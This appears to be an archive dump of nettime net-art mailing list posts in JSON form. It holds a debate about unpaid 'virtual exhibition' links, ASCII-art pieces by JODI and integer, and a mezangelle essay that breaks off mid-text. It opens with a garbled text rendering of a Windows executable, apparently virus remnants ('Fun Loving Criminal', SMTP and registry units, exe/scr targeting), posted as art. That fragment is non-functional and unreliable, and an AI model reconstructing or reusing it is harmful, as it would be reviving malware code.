v i l e g e d   i n s t r u c t i o n   E x c e p t i o n     s\n   i n   m o d u l e     s   a t     p s   s   A p p l i c a t i o n   E\n   r r o r 1 F o r m a t       s     i n v a l i d   o r   i n c o m p a\n   t i b l e   w i t h   a r g u m e n t   N o   a r g u m e n t   f o r\n   f o r m a t       s     I n v a l i d   v a r i a n t   t y p e   c\n   o n v e r s i o n   I n v a l i d   v a r i a n t   o p e r a t i o\n   n   V a r i a n t   m e t h o d   c a l l s   n o t   s u p p o r t\n   e d   R e a d                                     I n v a l i d   a\n   r g u m e n t   t o   t i m e   e n c o d e   I n v a l i d   a r g\n   u m e n t   t o   d a t e   e n c o d e   O u t   o f   m e m o r y\n   I   O   e r r o r     d   F i l e   n o t   f o u n d   I n v a l i\n   d   f i l e n a m e   T o o   m a n y   o p e n   f i l e s   F i l\n   e   a c c e s s   d e n i e d   R e a d   b e y o n d   e n d   o f\n   f i l e   D i s k   f u l l   I n v a l i d   n u m e r i c   i n p u\n   t   D i v i s i o n   b y   z e r o   R a n g e   c h e c k   e r r o\n   r   I n t e g e r   o v e r f l o w   I n v a l i d   f l o a t i n g\n   p o i n t   o p e r a t i o n   F l o a t i n g   p o i n t   d i v i\n   s i o n   b y   z e r o                                     O8  7   B\n   SCam32   MIMEpart  sSynaUtil   ASN1Util   SysUtils   System   SysInit\n   KWindows   SysConst   Classes   Consts  QTypInfo  sActiveX  3Messages\n   Fblcksock   WinSock   SynaCode   MIMEchar   IniFiles   WinInet\n   Graphics   SMTPsend   MIMEmess   ShellAPI  8Registry\n   MZ\n   d    Fun Loving Criminal\n                        PE  L                                   h\n                        P\n                        code\n                        t         t        u                        tfj\n                        j j        tW E        tP           WV u        u\n                        3 PPPPP      Pj j j Wj V u  y     t j j P       u\n                        2     t 3       WW         P        Vj\n    u           VW      Wh    W\n         Q      j         tH E   c                 G  j  u Vh    S u  A\n         j Vh     S u       u  H         B    4  G                  t2\n         R                 3                V  F  F V           V\n        VP       ta F         3\n      F      F            F V\n        V             t  F      j P p\n  h\n             j               VW      E              3          F      F\n             V u\n  h                                 E Pj j       Pj j              C\n  h     g          u              P       t P      V       t j  Q    V\n  F  V 9     t   u    V     V                       Zv       VW E      M\n  E P u j j j\n          j h    h    j        ts E  u  E PV E P u        uI M   t QV\n          v   t f  At           u    W     W 5     F     u V b      Y\n          h    j  u  a    u                VW E                   WV\n          t  E    t     t             u    W           W u        u  u\n          W         a  a              t\n u  F       ocx t  scr t  exe u7 G      r   t             W M\n u               VW u j                E j P H    E               j  u\n Vh    W u      f  MZ      f                   o         PE        f\n T        f w V G  N  N   r       F  F  E  N      3 f O I            F\n              F  M            V r  V        V  N r   w         t\n              N          GP O        M          F    F  E        V\n              V     u R       tu E P       t                         u\n              e   E     E  M   v   2                         R i\n              u       k         V   V   V u       u                VW\n              E           u                     wu                  wu\n              w       Q     VW    Yt G  3                              V\n              u      P u        t  F\n u    t          VW                              t\nWVj  7                 u                    t    WVj                VW\nu j         ta E j P      E  u P       t  E P       t      u  M QVW M\nYt G     M     R      u\n    u\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://amsterdam.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                "date": "Tue, 23 Oct 2001 15:59:54 +0200",
                "to": "Nettime <nettime-l@bbs.thing.net>",
                "message-id": "20011023155954.H272@theuth.complit.fu&#45;berlin.",
                "url": "https://nettime.org/Lists-Archives/nettime-bold-0110/msg00591.html",
                "list": "nettime_bold",
                "author_name": "Florian Cramer",
                "subject": "[Nettime-bold] dll"
            },
            {
                "id": "00651",
                "content": "X-Sender: valentina.tanni@popmail.iol.it\nDate: Thu, 19 Apr 2001 23:24:44 +0200\nTo: jodi@jodi.org\nFrom: valentina tanni <valentina.tanni@iol.it>\nSubject: Media connection - WEB SECTION\nMime-Version: 1.0\nStatus:\n\nDear Jodi,\n\n my name is Valentina Tanni and I'm working on an exhibition called \"Media\nconnection\" that will take place in Rome (Italy) in June.\n\"Media connection\" deals with the relationship beetwen art and technology\nand presents works by several artists from around the world like Doug\nAitken, Francis Alys, Arman, Gary Hill,Antoni Muntadas, Yoko Ono, Tony\nOursler, Nam June Paik, Pipilotti Rist, Wolfgang Staehle and many more.\n\nThe curator of the exhibition, Gianni Romano, asked me to prepare a \"WEB\nsection\" to introduce people to Net Art. I selected 15 webprojects (dated\nfrom 1993 to 2001) to offer an historical overview and to show the\ndifferent ways to work and create on the net.\n\nI would like to include your work \"www.jodi.org\" in my selection and I\nkindly ask for your authorization.\n\nThe web part of the exhibition will be only virtual, we are going to put\nthe link to the project and a brief description of the work in a cd rom and\non our website.\n\nLooking forward to hearing from you soon\nBest regards\n\nValentina Tanni\nMedia Connection - Web Section Curator\n\n-------------------------------------------------------------\nX-Sender: valentina.tanni@popmail.iol.it\nDate: Fri, 20 Apr 2001 19:33:37 +0200\nTo: JODI <jodi@jodi.org>\nFrom: valentina tanni <valentina.tanni@iol.it>\nSubject: Re: R : Me   a c ction - W B S TI ON\nMime-Version: 1.0\nStatus:\n\nDear Jodi,\n\nProbably I didn't explain it the right way, but we are not organizing a net\nart show, we'll just insert a link to your website, with an image and a\nbrief descriprion of your work. The goal of this initiative is to offer a\nlittle guide to the most important net art works.\n\n\n>what is the artist fee?\n\nSorry, there's no fee, c'mon it's just a link!\n\nBest regards\n\nValentina Tanni\nMedia Connection - Web Section Curator\n\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://www.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                "to": "jesis@xs4all.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-bold-0104/msg00651.html",
                "list": "nettime_bold",
                "author_name": "JODI",
                "subject": "[Nettime-bold] Sorry, there's no fee, c'mon it's just a link! -Media connection -",
                "from": "JODI <jodi@jodi.org>",
                "follow-up": [
                    {
                        "from": "lia lialina <olialia@teleportacia.org>",
                        "content": "Subject:  Re: Media connection - WEB SECTION\n       Date:   Sun, 22 Apr 2001 00:06:04 +0400\n       From:   olia lialina <olialia@teleportacia.org> <mailto:olialia@teleportacia.org>\n Organization:   www.teleportacia.org <http://www.teleportacia.org>\n        To:   valentina tanni <valentina.tanni@iol.it> <mailto:valentina.tanni@iol.it>\n \n\nDear Valentina Tanni\n\nof course u can do it\n\neverybody is free to make a link\n\n\nbut \n\ncan you please tell me:\n\nDo you get money for making virtual exhibitions?\nDo web section curators get money? \nOr you do it for free because it is a virtual exhibition?\n\nvalentina tanni wrote:\n\n> > \n> > Dear Olia Lialina,\n\n...\n\n> \n> > I would like to include your work \"My boy friend came back from the war\" in\n> > my selection and I kindly ask for your authorization.\n> > \n> > The web part of the exhibition will be only virtual, we are going to put\n> > the link to the project and a brief description of the work in a cd rom and\n> > on our website.\n> \n\n\n-- \n\n     Date:         Sun, 22 Apr 2001 12:12:16 +0200\n     From:         valentina tanni <valentina.tanni@iol.it> <mailto:valentina.tanni@iol.it>\n      To:         olia lialina <olialia@teleportacia.org> <mailto:olialia@teleportacia.org>\n \n\nDear Olia Lialina,\n\n\n> >Do you get money for making virtual exhibitions?\n> >Do web section curators get money? \n> >Or you do it for free because it is a virtual exhibition?\n\n\nOf course I can answer to your questions:\nI get money for choosing the works and for writing texts for the\ncatalogue.\nI'm writing an essay on Net Art and brief comments on all the projects I\nselected.\n\nThanks very much for your authorization.\n\nBest regards\nValentina Tanni\n\n\n\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://www.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                        "id": "00653",
                        "date": "Sun, 29 Apr 2001 13:48:37 +0200",
                        "to": "JODI <jodi@jodi.org>",
                        "message-id": "3AEBFF95.7050001@teleportacia.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-bold-0104/msg00653.html",
                        "content-type": "text/plai",
                        "author_name": "olia lialina",
                        "subject": "[Nettime-bold] Re: Sorry, there's no fee, c'mon it's just a link! -Media connection -"
                    }
                ],
                "message-id": "v04003a03b712030f0a1f@[62.82.2.201]",
                "date": "Sun, 29 Apr 2001 10:49:33 -0700",
                "content-type": "text/plai"
            },
            {
                "content-type": "multipart/mixed",
                "from": "JODI <jodi {AT} jodi.org>",
                "id": "00043",
                "content": "   FBFBFBFBFBFBFBFBFBFBFBFBFBFBFBFBFBFBFBFBFBFBFBFBFBFBFBFBFB\n   \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nFB\n   \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nFB\n   \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nFB\n   \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nFB\n   \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nFB\n   \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nFB\n   \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nFB\n   \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nFB\n   \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nFB\n   \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n   \u00a88\u00a8\u00a88\u00a8\u00a88\u00a8\u00a88\u00a8\u00a88\u00a8\u00a88\u00a8\u00a88\u00a8\u00a88\u00a8\u00a88\u00a8\u00a88\u00a8\u00a88\u00a8\u00b42\u00a30\u00a31\u00a35\u00a3|>2\u00a30\u00a31\u00a36\u00a3\n   FBFBFBFB J\u00d4DI\n               * *\n   *         '       *       .  *   '     .           * *\n                                                               '\n       *                *'          *          *        '\n   .           *               |               /\n               '.         |    |      '       |   '     *\n                 \\*        \\   \\             /\n       '          \\     '* |    |  *        |*                *  *\n            *      `.       \\   |     *     /    *      '\n   .                  \\      |   \\          /               *\n     *'  *     '      \\      \\   '.       |\n        -._            `                  /         *\n   ' '      ``._   *                           '          .      '\n   *           *\\*          * .   .      *\n   *  '        *    `-._                       .         _..:='        *\n             .  '      *       *    *   .       _.:--'\n          *           .     .     *         .-'         *\n   .               '             . '   *           *         .\n   *       ___.-=--..-._     *                '               '\n                                  *       *\n                *        _.'  .'       `.        '  *             *\n     *              *_.-'   .'            `.               *\n                   .'                       `._             *  '\n   '       '                        .       .  `.     .\n       .                      *                  `\n               *        '             '                          .\n     .                          *        .           *  *\n             *        .                                    '\n\n",
                "date": "Tue, 29 Dec 2015 23:38:16 +0100",
                "to": "nettime-l {AT} kein.org",
                "message-id": "2c495904dc41b1cf9f438fe1c80a7c8d {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                "url": "https://nettime.org/Lists-Archives/nettime-l-1512/msg00043.html",
                "list": "nettime_l",
                "author_name": "JODI",
                "subject": "<nettime> \ufffd\ufffd\ufffd2\ufe0f\u20e30\ufe0f\u20e31\ufe0f\u20e3"
            },
            {
                "content-type": "text/plai",
                "from": "integer {AT} www.god-emil.dk",
                "content": "\nk\n o\n  n\n   t\n    e\n     n\n      t\n       .\n        I\n         D\n          :\n           1\n            1\n             0\n              0\n               0\n                0\n                1\n                0\n                1\n                1\n                0\n                0\n                1\n                0\n                   0\n                   0\n                    1\n                   1\n                  0\n                1\n                 1110111001011000010\n                   1110100011010010110\n                             11111101110\n\n\n\n\n\n\n\n\n\n\n;20\n o   (!)   o\n \\         /\n k.        .k\n\n\n\n\n\n                             !tna                \n                             z  g                \n                             .  e                \n                             .  l                \n                             ...e                \n                                                 \n                             !tnagele...         \n                             z         z         \n                             .         !         \n                             .         _         \n                             .         t         \n                             e         n         \n                             l         a         \n                             e         g         \n                             g         e         \n                             a         l         \n                             n         e         \n                             ant_!z...el         \n                                                 \n                             !tnagele...z!_tnagel\n                             z                  e\n                             .                  .\n                             .                  .\n                             .                  .\n                             e                  z\n                             l                  !\n                             e                  _\n                             g                  t\n                             a                  n\n                             n                  a\n                             t                  g\n                             _                  e\n                             !                  l\n                             z                  e\n                             .                  .\n                             .                  .\n                             .                  .\n                             e                  z\n                             l                  !\n                             legant_!z...elegant_\n\n\n\n\n\n\n\n               !   ! !\n              !  !     !\n               z   z z\n              z  z     z\n               .   . .\n              .  .     .\n               .   . .\n              .  .     .\n               .   . .\n              .  .     .\n               e   e e\n              e  e     e\n               l   l l\n              l  l     l\n               e   e e\n              e  e     e\n               g   g g\n              g  g     g\n               a   a a\n              a  a     a\n               n   n n\n              n  n     n\n               t   t t\n              t  t     t                    t        t        t\n                     t         t         t\n                      t          t          t\n\n:0 c\n* ^TOkontinuum\n* !^X-Loop: .*\n| (/usr/bin/formail -r -t -A \"Precedence: normal\"  \n   -A \"X-Loop: one\" ; \\\n\n                  \n\n                       ! __________! !\n                      ! _________! ____!\n                     ! ________! ________!\n                    ! _______! ____________!\n                   ! ______! ________________!\n                  ! _____! ____________________!\n                 ! ____! ________________________!\n                ! ___! ____________________________!\n               ! __! ________________________________!\n              ! _! ____________________________________!\n               ! __! ________________________________!\n                ! ___! ____________________________!\n                 ! ____! ________________________!\n                  ! _____! ____________________!\n                   ! ______! ________________!\n                    ! _______! ____________!\n                     ! ________! ________!\n                      ! _________! ____!\n                       z __________z z\n                      z _________z ____z\n                     z ________z ________z\n                    z _______z ____________z\n                   z ______z ________________z\n                  z _____z ____________________z\n                 z ____z ________________________z\n                z ___z ____________________________z\n               z __z ________________________________z\n              z _z ____________________________________z\n               z __z ________________________________z\n                z ___z ____________________________z\n                 z ____z ________________________z\n                  z _____z ____________________z\n                   z ______z ________________z\n                    z _______z ____________z\n                     z ________z ________z\n                      z _________z ____z\n                       . __________. .\n                      . _________. ____.\n                     . ________. ________.\n                    . _______. ____________.\n                   . ______. ________________.\n                  . _____. ____________________.\n                 . ____. ________________________.\n                . ___. ____________________________.\n               . __. ________________________________.\n              . _. ____________________________________.\n               . __. ________________________________.\n                . ___. ____________________________.\n                 . ____. ________________________.\n                  . _____. ____________________.\n                   . ______. ________________.\n                    . _______. ____________.\n                     . ________. ________.\n                      . _________. ____.\n                       . __________. .\n                      . _________. ____.\n                     . ________. ________.\n                    . _______. ____________.\n                   . ______. ________________.\n                  . _____. ____________________.\n                 . ____. ________________________.\n                . ___. ____________________________.\n               . __. ________________________________.\n              . _. ____________________________________.\n               . __. ________________________________.\n                . ___. ____________________________.\n                 . ____. ________________________.\n                  . _____. ____________________.\n                   . ______. ________________.\n                    . _______. ____________.\n                     . ________. ________.\n                      . _________. ____.\n                       . __________. .\n                      . _________. ____.\n                     . ________. ________.\n                    . _______. ____________.\n                   . ______. ________________.\n                  . _____. ____________________.\n                 . ____. ________________________.\n                . ___. ____________________________.\n               . __. ________________________________.\n              . _. ____________________________________.\n               . __. ________________________________.\n                . ___. ____________________________.\n                 . ____. ________________________.\n                  . _____. ____________________.\n                   . ______. ________________.\n                    . _______. ____________.\n                     . ________. ________.\n                      . _________. ____.\n                       e __________e e\n                      e _________e ____e\n                     e ________e ________e\n                    e _______e ____________e\n                   e ______e ________________e\n                  e _____e ____________________e\n                 e ____e ________________________e\n                e ___e ____________________________e\n               e __e ________________________________e\n              e _e ____________________________________e\n               e __e ________________________________e\n                e ___e ____________________________e\n                 e ____e ________________________e\n                  e _____e ____________________e\n                   e ______e ________________e\n                    e _______e ____________e\n                     e ________e ________e\n                      e _________e ____e\n                       l __________l l\n                      l _________l ____l\n                     l ________l ________l\n                    l _______l ____________l\n                   l ______l ________________l\n                  l _____l ____________________l\n                 l ____l ________________________l\n                l ___l ____________________________l\n               l __l ________________________________l\n              l _l ____________________________________l\n               l __l ________________________________l\n                l ___l ____________________________l\n                 l ____l ________________________l\n                  l _____l ____________________l\n                   l ______l ________________l\n                    l _______l ____________l\n                     l ________l ________l\n                      l _________l ____l\n                       e __________e e\n                      e _________e ____e\n                     e ________e ________e\n                    e _______e ____________e\n                   e ______e ________________e\n                  e _____e ____________________e\n                 e ____e ________________________e\n                e ___e ____________________________e\n               e __e ________________________________e\n              e _e ____________________________________e\n               e __e ________________________________e\n                e ___e ____________________________e\n                 e ____e ________________________e\n                  e _____e ____________________e\n                   e ______e ________________e\n                    e _______e ____________e\n                     e ________e ________e\n                      e _________e ____e\n                       g __________g g\n                      g _________g ____g\n                     g ________g ________g\n                    g _______g ____________g\n                   g ______g ________________g\n                  g _____g ____________________g\n                 g ____g ________________________g\n                g ___g ____________________________g\n               g __g ________________________________g\n              g _g ____________________________________g\n               g __g ________________________________g\n                g ___g ____________________________g\n                 g ____g ________________________g\n                  g _____g ____________________g\n                   g ______g ________________g\n                    g _______g ____________g\n                     g ________g ________g\n                      g _________g ____g\n                       a __________a a\n                      a _________a ____a\n                     a ________a ________a\n                    a _______a ____________a\n                   a ______a ________________a\n                  a _____a ____________________a\n                 a ____a ________________________a\n                a ___a ____________________________a\n               a __a ________________________________a\n              a _a ____________________________________a\n               a __a ________________________________a\n                a ___a ____________________________a\n                 a ____a ________________________a\n                  a _____a ____________________a\n                   a ______a ________________a\n                    a _______a ____________a\n                     a ________a ________a\n                      a _________a ____a\n                       n __________n n\n                      n _________n ____n\n                     n ________n ________n\n                    n _______n ____________n\n                   n ______n ________________n\n                  n _____n ____________________n\n                 n ____n ________________________n\n                n ___n ____________________________n\n               n __n ________________________________n\n              n _n ____________________________________n\n               n __n ________________________________n\n                n ___n ____________________________n\n                 n ____n ________________________n\n                  n _____n ____________________n\n                   n ______n ________________n\n                    n _______n ____________n\n                     n ________n ________n\n                      n _________n ____n\n                       t __________t t\n                      t _________t ____t\n                     t ________t ________t\n                    t _______t ____________t\n                   t ______t ________________t\n                  t _____t ____________________t\n                 t ____t ________________________t\n                t ___t ____________________________t\n               t __t ________________________________t\n              t _t ____________________________________t\n               t __t ________________________________t\n                t ___t ____________________________t\n                 t ____t ________________________t\n                  t _____t ____________________t\n                   t ______t ________________t\n                    t _______t ____________t\n                     t ________t ________t\n                      t _________t ____t\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n",
                "id": "00069",
                "date": "Fri, 12 Feb 1999 21:59:33 +0100",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199902122021.VAA09832 {AT} Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9902/msg00069.html",
                "list": "nettime_l",
                "author_name": "integer",
                "subject": "<nettime> 4 net ti/m"
            },
            {
                "content-type": "text/plai",
                "from": "integer {AT} www.god-emil.dk",
                "id": "00068",
                "content": "\nkadou pour to!\n\n>o\n>gentle breeze\n\no ndulat e . trez beau non +?\nma! ! hav zom watr plz +?\n\n\n\n\n\n                                 o                     o o\n                                o                    o     o\n                               o                   o         o\n                              o                  o             o\n                             o                 o                 o\n                            o                o                     o\n                           o               o                         o\n                          o              o                             o\n                         o             o                                 o\n                        o            o                                     o\n                       o           o                                         o\n                      o          o                                             o\n\n                     o         o\n o\n                    o        o\n   o\n                   o       o\n     o\n                  o      o\n       o\n                 o     o\n         o\n                o    o\n           o\n               o   o\n             o\n              o  o\n               o\n               o   o\n             o\n                o    o\n           o\n                 o     o\n         o\n                  o      o\n       o\n                   o       o\n     o\n                    o        o\n   o\n                     o         o\n o\n                      o          o                                             o\n\n                       o           o                                         o\n                        o            o                                     o\n                         o             o                                 o\n                          o              o                             o\n                           o               o                         o\n                            o                o                     o\n                             o                 o                 o\n                              o                  o             o\n                               o                   o         o\n                                o                    o     o\n                                 n                     n n\n                                n                    n     n\n                               n                   n         n\n                              n                  n             n\n                             n                 n                 n\n                            n                n                     n\n                           n               n                         n\n                          n              n                             n\n                         n             n                                 n\n                        n            n                                     n\n                       n           n                                         n\n                      n          n                                             n\n\n                     n         n\n n\n                    n        n\n   n\n                   n       n\n     n\n                  n      n\n       n\n                 n     n\n         n\n                n    n\n           n\n               n   n\n             n\n              n  n\n               n\n               n   n\n             n\n                n    n\n           n\n                 n     n\n         n\n                  n      n\n       n\n                   n       n\n     n\n                    n        n\n   n\n                     n         n\n n\n                      n          n                                             n\n\n                       n           n                                         n\n                        n            n                                     n\n                         n             n                                 n\n                          n              n                             n\n                           n               n                         n\n                            n                n                     n\n                             n                 n                 n\n                              n                  n             n\n                               n                   n         n\n                                n                    n     n\n                                 d                     d d\n                                d                    d     d\n                               d                   d         d\n                              d                  d             d\n                             d                 d                 d\n                            d                d                     d\n                           d               d                         d\n                          d              d                             d\n                         d             d                                 d\n                        d            d                                     d\n                       d           d                                         d\n                      d          d                                             d\n\n                     d         d\n d\n                    d        d\n   d\n                   d       d\n     d\n                  d      d\n       d\n                 d     d\n         d\n                d    d\n           d\n               d   d\n             d\n              d  d\n               d\n               d   d\n             d\n                d    d\n           d\n                 d     d\n         d\n                  d      d\n       d\n                   d       d\n     d\n                    d        d\n   d\n                     d         d\n d\n                      d          d                                             d\n\n                       d           d                                         d\n                        d            d                                     d\n                         d             d                                 d\n                          d              d                             d\n                           d               d                         d\n                            d                d                     d\n                             d                 d                 d\n                              d                  d             d\n                               d                   d         d\n                                 u                     u u\n                                u                    u     u\n                               u                   u         u\n                              u                  u             u\n                             u                 u                 u\n                            u                u                     u\n                           u               u                         u\n                          u              u                             u\n                         u             u                                 u\n                        u            u                                     u\n                       u           u                                         u\n                      u          u                                             u\n\n                     u         u\n u\n                    u        u\n   u\n                   u       u\n     u\n                  u      u\n       u\n                 u     u\n         u\n                u    u\n           u\n               u   u\n             u\n              u  u\n               u\n               u   u\n             u\n                u    u\n           u\n                 u     u\n         u\n                  u      u\n       u\n                   u       u\n     u\n                    u        u\n   u\n                     u         u\n u\n                      u          u                                             u\n\n                       u           u                                         u\n                        u            u                                     u\n                         u             u                                 u\n                          u              u                             u\n                           u               u                         u\n                            u                u                     u\n                             u                 u                 u\n                              u                  u             u\n                               u                   u         u\n                                u                    u     u\n                                 l                     l l\n                                l                    l     l\n                               l                   l         l\n                              l                  l             l\n                             l                 l                 l\n                            l                l                     l\n                           l               l                         l\n                          l              l                             l\n                         l             l                                 l\n                        l            l                                     l\n                       l           l                                         l\n                      l          l                                             l\n\n                     l         l\n l\n                    l        l\n   l\n                   l       l\n     l\n                  l      l\n       l\n                 l     l\n         l\n                l    l\n           l\n               l   l\n             l\n              l  l\n               l\n               l   l\n             l\n                l    l\n           l\n                 l     l\n         l\n                  l      l\n       l\n                   l       l\n     l\n                    l        l\n   l\n                     l         l\n l\n                      l          l                                             l\n\n                       l           l                                         l\n                        l            l                                     l\n                         l             l                                 l\n                          l              l                             l\n                           l               l                         l\n                            l                l                     l\n                             l                 l                 l\n                              l                  l             l\n                               l                   l         l\n                                l                    l     l\n                                 a                     a a\n                                a                    a     a\n                               a                   a         a\n                              a                  a             a\n                             a                 a                 a\n                            a                a                     a\n                           a               a                         a\n                          a              a                             a\n                         a             a                                 a\n                        a            a                                     a\n                       a           a                                         a\n                      a          a                                             a\n\n                     a         a\n a\n                    a        a\n   a\n                   a       a\n     a\n                  a      a\n       a\n                 a     a\n         a\n                a    a\n           a\n               a   a\n             a\n              a  a\n               a\n               a   a\n             a\n                a    a\n           a\n                 a     a\n         a\n                  a      a\n       a\n                   a       a\n     a\n                    a        a\n   a\n                     a         a\n a\n                      a          a                                             a\n\n                       a           a                                         a\n                        a            a                                     a\n                         a             a                                 a\n                          a              a                             a\n                           a               a                         a\n                            a                a                     a\n                             a                 a                 a\n                              a                  a             a\n                               a                   a         a\n                                a                    a     a\n                                 t                     t t\n                                t                    t     t\n                               t                   t         t\n                              t                  t             t\n                             t                 t                 t\n                            t                t                     t\n                           t               t                         t\n                          t              t                             t\n                         t             t                                 t\n                        t            t                                     t\n                       t           t                                         t\n                      t          t                                             t\n\n                     t         t\n t\n                    t        t\n   t\n                   t       t\n     t\n                  t      t\n       t\n                 t     t\n         t\n                t    t\n           t\n               t   t\n             t\n              t  t\n               t\n               t   t\n             t\n                t    t\n           t\n                 t     t\n         t\n                  t      t\n       t\n                   t       t\n     t\n                    t        t\n   t\n                     t         t\n t\n                      t          t                                             t\n\n                       t           t                                         t\n                        t            t                                     t\n                         t             t                                 t\n                          t              t                             t\n                           t               t                         t\n                            t                t                     t\n                             t                 t                 t\n                              t                  t             t\n                               t                   t         t\n                                t                    t     t\n                                 e                     e e\n                                e                    e     e\n                               e                   e         e\n                              e                  e             e\n                             e                 e                 e\n                            e                e                     e\n                           e               e                         e\n                          e              e                             e\n                         e             e                                 e\n                        e            e                                     e\n                       e           e                                         e\n                      e          e                                             e\n\n                     e         e\n e\n                    e        e\n   e\n                   e       e\n     e\n                  e      e\n       e\n                 e     e\n         e\n                e    e\n           e\n               e   e\n             e\n              e  e\n               e\n               e   e\n             e\n                e    e\n           e\n                 e     e\n         e\n                  e      e\n       e\n                   e       e\n     e\n                    e        e\n   e\n                     e         e\n e\n                      e          e                                             e\n\n                       e           e                                         e\n                        e            e                                     e\n                         e             e                                 e\n                          e              e                             e\n                           e               e                         e\n                            e                e                     e\n                             e                 e                 e\n                              e                  e             e\n                               e                   e         e\n                                e                    e     e\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n",
                "date": "Fri, 12 Feb 1999 22:04:56 +0100",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199902122023.VAA09850 {AT} Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9902/msg00068.html",
                "list": "nettime_l",
                "author_name": "integer",
                "subject": "<nettime> Sender: owner-nettime-l {AT} basis.desk.nl"
            },
            {
                "from": "netwurker@pop.hotkey.net.au",
                "id": "427",
                "content": "--=====================_3283710==_.ALT\nContent-Type: text/plain; charset=\"us-ascii\"; format=flowed\n\n\ni like 2 think my perception][s][ is/r geared 2wards/thru-out a range of \ninputs & ob.serve.][r][ations, all gathered 2g][t][ether][ed][ more often \nthan ][k][not a manifest][ering][ net.wurked sp.here][&\nnow][.........\n\n....the cybagenic lattrix if u will ][or won't:)][....\n\n.....my tendency 2 fuse actions that r performed b.yond this ][forced \nreality][ field N the very procedural nuances that this sensing d.mands \nx.ists as a very fragile, convoluted actuality.....\n\n...this percept is currently taking a battering, as the very structure that \nhas allowed its gestation, its nesting, m.mergence, & x.tended x.pression \nis b.ing gradually ][sl][a][ugh][ltered....\n][e.motive lang.u][s][age, i know, but bear with me][.....\n\n--\n\n...when i ][*.][ini.tially orbited this net.wurked reality ][& by this i'm \nn.ferring a state of passive flux, where my hands first crab-crouched a \nkeyboard & slid ova a su.Pine mouse, waiting 4 a con][cussive][nection \nhit][ the amnesiac-like newness, its fugue capabilities were so \nn.trinsically seductive that @ 1nce, the resultant output was infernoesque, \nparticipants all collaboratively\nfloundering in this creative niche that allowed 4 x.tended x.ploration N \nwild rewritings of creative cod][a][es, or established artistic \nconventions, or critiquer f.actua][ry][nts...\n\n....predicated questionings and standardizations were not even \ntermed/realised as truthful reference points or relevant POV's, largely \nb.cause][N e.ffect][ of the formless \"cyberspace\" \ncondition][ing][........of course, i'm blin][d][kered in terms of the \nsphere of functioning that ][i have deemed][ *was* e.mergent in terms of \nmailing lists N web/net.insitution construction, and of course, i'm being \nterribly intro][duction lacking][.spec][ula][tive][, n yes, i'm pixellating \nthe past with a nostalgic you.topian sweep, but there was a stage of the \nnet.wurked development that more than re][n.][flected this type of \n][de][function][........even as others rushed to\nquantify. anal.][e][y][e][se & rati][onalize][fy it.......smooth it in2 \nsatis.Factory communication corners...........\n\n............][4give me my meme.ory n.dulgence, please][...................\n\n\n..now u may all clip away typing that this er][ror][a neva x.isted, or that \nthe tendrils r still deliciously ][&n obviously][ pre.s][c][ent, that i'm \nbecoming 1 of those old, crusty \"net.art is dead\"\nadvocat][ions][es, that i'm missing the meat of the x.change, the distended \ndetails........\n\n\n........i mite well be......i fervently think ][hope][ not......from this \ne.longated angle, my mezangelled perceptive base - N granted its a \ndifficult one to \"get\" in terms of affective merging with this \ncommunication style in which i wallow - this stage of explosive n.quiry & \nblase ][net][ wurking is bleeding dis][t][ast][e][rously in2 the \n][predictable][ established, an n.s][i][t][u][itutionialised strain of \nthough & overt action.......N its not blanket-d][ea][f.ined thru the \ncorp.][r][o][a][r.ate glutt.ON.isation of the web, but thru much more \nn.siduous modes........\n\n\n........4 x.ample, when we ][read: artists who m.brace & position \nthem.cell][ves][s as firm advo.Ka][n][ts of things net.wurked, whether that \nb electronically/collaboratively/spouting new media ethics till we r blue \nin the screen][ drag traditionally-ratified mechanisms of critique back in2 \nplay, or fall in2 the power-dynamically-d.fined act of \n][cap][s][lock][houting in order 2 make our point, or seek 2 regulate the \nway a peer releases output via mandatory subtle regressions in2 labels that \npostulate absolutes ][\"design\", \"use.ability\" \"ease of use\"][, or reason \nour position via logos, we are shutting the door on a multi][log][tude of \nprospective actualities, we are cutting off the avenues that make the \nnet.wurk a place worthy of creative x.pansion...........\n\n\n...& i kno some of u will retort, correct, s.sue differences of opinions, \nportray a stance that allows 4 acceptable banter that seeks +itive fluid \nresolutions....& all the while i weep 4 the mis][b][gotten phrase, the \ntypo, the flame-bait that isn't, the nudge that is bypassed in terms of \nreadability & community function......\n\n\n....this closing-off, shutting down, m.bracing of the literal over the \nnodal/lateral is ridiculously difficult 2 describe, given the tools that \ni'm m.ploying r drenched in the very stench of this terror- vision of the \nconcrete, the conflagration of the predictable, the x.plainable, the \nacceptable, the 